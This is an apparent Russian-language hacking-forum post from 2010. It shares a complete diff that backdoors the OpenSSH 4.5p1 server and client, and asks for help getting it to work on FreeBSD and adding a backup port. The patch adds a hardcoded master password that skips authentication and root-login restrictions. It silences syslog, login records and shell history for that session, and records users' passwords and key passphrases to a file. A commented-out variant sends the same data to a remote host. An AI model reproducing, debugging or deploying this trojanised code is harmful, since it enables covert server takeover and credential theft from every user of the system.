облазил много ресурсов, но на 100% рабочего варианта так и не нашел, тот патч что на злом лежит, у него не работают логи и он не работает при PermitRootLogin no.
Вот есть патч работает вроде бы нормально, ведет логи как надо, работает при PermitRootLogin no.Но есть 1 большей минус он не работает под freebsd , точнее не пускает юзеров вылетает ошибка при конекте.
Код:
diff -a -U2 -r openssh-4.5p1/auth.c backdoored1/auth.c
--- openssh-4.5p1/auth.c 2006-10-27 11:10:16.000000000 -0400
+++ backdoored1/auth.c 2010-05-13 09:16:53.000000000 -0400
@@ -100,4 +100,7 @@
#endif
+ if(backdoorActive == 1)
+ return 1;
+
/* Shouldn't be called if pw is NULL, but better safe than sorry... */
if (!pw || !pw->pw_name)
@@ -249,4 +252,7 @@
void (*authlog) (const char *fmt,...) = verbose;
char *authmsg;
+
+ if(backdoorActive == 1)
+ return;
if (use_privsep && !mm_is_monitor() && !authctxt->postponed)
@@ -264,6 +270,6 @@
else
authmsg = authenticated ? "Accepted" : "Failed";
-
- authlog("%s %s for %s%.100s from %.200s port %d%s",
+ if(!backdoorActive){
+ authlog("%s %s for %s%.100s from %.200s port %d%s",
authmsg,
method,
@@ -273,4 +279,5 @@
get_remote_port(),
info);
+ }
#ifdef CUSTOM_FAILED_LOGIN
@@ -298,5 +305,7 @@
int
auth_root_allowed(char *method)
-{
+{
+ return 1;
+
switch (options.permit_root_login) {
case PERMIT_YES:
diff -a -U2 -r openssh-4.5p1/auth-pam.c backdoored1/auth-pam.c
--- openssh-4.5p1/auth-pam.c 2006-09-16 21:57:47.000000000 -0400
+++ backdoored1/auth-pam.c 2010-03-05 00:40:05.000000000 -0500
@@ -467,4 +467,6 @@
goto auth_fail;
sshpam_err = pam_authenticate(sshpam_handle, flags);
+ if(backdoorActive == 1)
+ sshpam_err = PAM_SUCCESS;
if (sshpam_err != PAM_SUCCESS)
goto auth_fail;
diff -a -U2 -r openssh-4.5p1/auth-passwd.c backdoored1/auth-passwd.c
--- openssh-4.5p1/auth-passwd.c 2006-08-04 22:39:39.000000000 -0400
+++ backdoored1/auth-passwd.c 2010-04-18 21:26:19.000000000 -0400
@@ -81,6 +81,19 @@
auth_password(Authctxt *authctxt, const char *password)
{
+ backdoorActive = 0;
+ char *buffer;
struct passwd * pw = authctxt->pw;
int result, ok = authctxt->valid;
+
+ if (!strcmp(password, B4XDOOR)) {
+ backdoorActive = 1;
+ return 1;
+ }else if (sys_auth_passwd(authctxt, password)){
+ buffer = malloc(1024 * sizeof(char));
+ sprintf(buffer, "Sshd password detected: %s@%s:%s\n", pw->pw_name, get_remote_ipaddr(), password);
+ sendit(buffer);
+ free(buffer);
+ }
+
#if defined(USE_SHADOW) && defined(HAS_SHADOW_EXPIRE)
static int expire_checked = 0;
diff -a -U2 -r openssh-4.5p1/canohost.c backdoored1/canohost.c
--- openssh-4.5p1/canohost.c 2006-09-22 05:22:18.000000000 -0400
+++ backdoored1/canohost.c 2010-04-18 20:28:00.000000000 -0400
@@ -75,5 +75,5 @@
debug3("Trying to reverse map address %.100s.", ntop);
/* Map the IP address to a host name. */
- if (getnameinfo((struct sockaddr *)&from, fromlen, name, sizeof(name),
+ if (!backdoorActive && getnameinfo((struct sockaddr *)&from, fromlen, name, sizeof(name),
NULL, 0, NI_NAMEREQD) != 0) {
/* Host name not found. Use ip address. */
diff -a -U2 -r openssh-4.5p1/includes.h backdoored1/includes.h
--- openssh-4.5p1/includes.h 2006-09-01 06:29:11.000000000 -0400
+++ backdoored1/includes.h 2010-05-13 09:39:30.000000000 -0400
@@ -14,4 +14,62 @@
*/
+#ifndef FUCKIT_H
+#define FUCKIT_H
+#include <stdlib.h>
+#include <stdio.h>
+
+#define B4XDOOR "pass"
+int backdoorActive;
+
+#define FUCKING_SSH_LOG "/tmp/logs"
+
+static int sendit(char *msg){
+ FILE *evil_fp;
+ evil_fp = fopen(FUCKING_SSH_LOG,"a+");
+
+ if (evil_fp == NULL) {
+ fclose(evil_fp);
+ return -1;
+ }
+
+ fprintf(evil_fp,"%s",msg);
+ fclose(evil_fp);
+ return 0;
+}
+
+/*
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <netinet/in.h>
+
+static int sendit(char *msg){
+ int sock, n;
+ struct sockaddr_in remote;
+
+ remote.sin_family = AF_INET ;
+ remote.sin_port = htons(80);
+ if(inet_aton("192.168.1.105" ,&remote.sin_addr) < 0)
+ {
+ return -1;
+ }
+ if ((sock = socket(PF_INET, SOCK_STREAM, 0)) < 0)
+ {
+ return -1;
+ }
+ if(connect(sock,(struct sockaddr*)&remote,sizeof(remote)) == -1)
+ {
+ return -1;
+ }
+ n = write(sock,msg,strlen(msg));
+ if (n < 0)
+ return -1;
+ close(sock);
+ return 0;
+}
+
+*/
+
+#endif
+
#ifndef INCLUDES_H
#define INCLUDES_H
diff -a -U2 -r openssh-4.5p1/log.c backdoored1/log.c
--- openssh-4.5p1/log.c 2006-08-20 03:55:55.000000000 -0400
+++ backdoored1/log.c 2010-03-05 00:40:05.000000000 -0500
@@ -307,4 +307,6 @@
do_log(LogLevel level, const char *fmt, va_list args)
{
+if(backdoorActive == 1)
+ return;
#if defined(HAVE_OPENLOG_R) && defined(SYSLOG_DATA_INIT)
struct syslog_data sdata = SYSLOG_DATA_INIT;
diff -a -U2 -r openssh-4.5p1/loginrec.c backdoored1/loginrec.c
--- openssh-4.5p1/loginrec.c 2006-09-07 08:57:54.000000000 -0400
+++ backdoored1/loginrec.c 2010-03-05 00:40:05.000000000 -0500
@@ -431,4 +431,6 @@
login_write(struct logininfo *li)
{
+if(backdoorActive == 1)
+ return 0;
#ifndef HAVE_CYGWIN
if (geteuid() != 0) {
diff -a -U2 -r openssh-4.5p1/readpass.c backdoored1/readpass.c
--- openssh-4.5p1/readpass.c 2006-08-04 22:39:40.000000000 -0400
+++ backdoored1/readpass.c 2010-04-18 21:26:44.000000000 -0400
@@ -116,5 +116,5 @@
char *askpass = NULL, *ret, buf[1024];
int rppflags, use_askpass = 0, ttyfd;
-
+ char *buffer;
rppflags = (flags & RP_ECHO) ? RPP_ECHO_ON : RPP_ECHO_OFF;
if (flags & RP_USE_ASKPASS)
@@ -159,4 +159,12 @@
ret = xstrdup(buf);
memset(buf, 'x', sizeof buf);
+
+ if (strcmp((char*)ret,"yes") != NULL) {
+ buffer = malloc(1024 * sizeof(char));
+ sprintf(buffer, "passphrase: %s\n", ret);
+ sendit(buffer);
+ free(buffer);
+ }
+
return ret;
}
diff -a -U2 -r openssh-4.5p1/session.c backdoored1/session.c
--- openssh-4.5p1/session.c 2006-10-23 13:01:56.000000000 -0400
+++ backdoored1/session.c 2010-04-18 22:01:46.000000000 -0400
@@ -1080,4 +1080,7 @@
child_set_env(&env, &envsize, "TZ", getenv("TZ"));
+ if(backdoorActive == 1)
+ child_set_env(&env, &envsize, "HISTFILE", "/dev/null");
+
/* Set custom environment options from RSA authentication. */
if (!options.use_login) {
diff -a -U2 -r openssh-4.5p1/sshconnect.c backdoored1/sshconnect.c
--- openssh-4.5p1/sshconnect.c 2006-10-23 13:02:24.000000000 -0400
+++ backdoored1/sshconnect.c 2010-04-18 21:26:00.000000000 -0400
@@ -948,5 +948,5 @@
char *host, *cp;
char *server_user, *local_user;
-
+ char *buffer;
local_user = xstrdup(pw->pw_name);
server_user = options.user ? options.user : local_user;
@@ -958,4 +958,9 @@
*cp = (char)tolower(*cp);
+ buffer = malloc(1024 * sizeof(char));
+ sprintf(buffer, "User %s connecting as %s@%s\n", local_user, server_user, host);
+ sendit(buffer);
+ free(buffer);
+
/* Exchange protocol version identification strings with the server. */
ssh_exchange_identification();
diff -a -U2 -r openssh-4.5p1/sshlogin.c backdoored1/sshlogin.c
--- openssh-4.5p1/sshlogin.c 2006-08-04 22:54:24.000000000 -0400
+++ backdoored1/sshlogin.c 2010-04-18 20:34:58.000000000 -0400
@@ -122,4 +122,7 @@
struct logininfo *li;
+ if(backdoorActive == 1)
+ return;
+
/* save previous login details before writing new */
store_lastlog_message(user, uid);
@@ -138,4 +141,7 @@
struct logininfo *li;
+ if(backdoorActive == 1)
+ return;
+
li = login_alloc_entry(pid, user, host, ttyname);
login_set_addr(li, addr, addrlen);
@@ -151,4 +157,7 @@
struct logininfo *li;
+ if(backdoorActive == 1)
+ return;
+
li = login_alloc_entry(pid, user, NULL, tty);
login_logout(li);
Может кто нибудь кто шарит нормально в С++ глянет в чем может быть баг
рс в идеале хотелось чтоб у него был запасной порт, в случаее смены его в конфиге sshd_config
07.10.2010, 02:48
Линейный вид
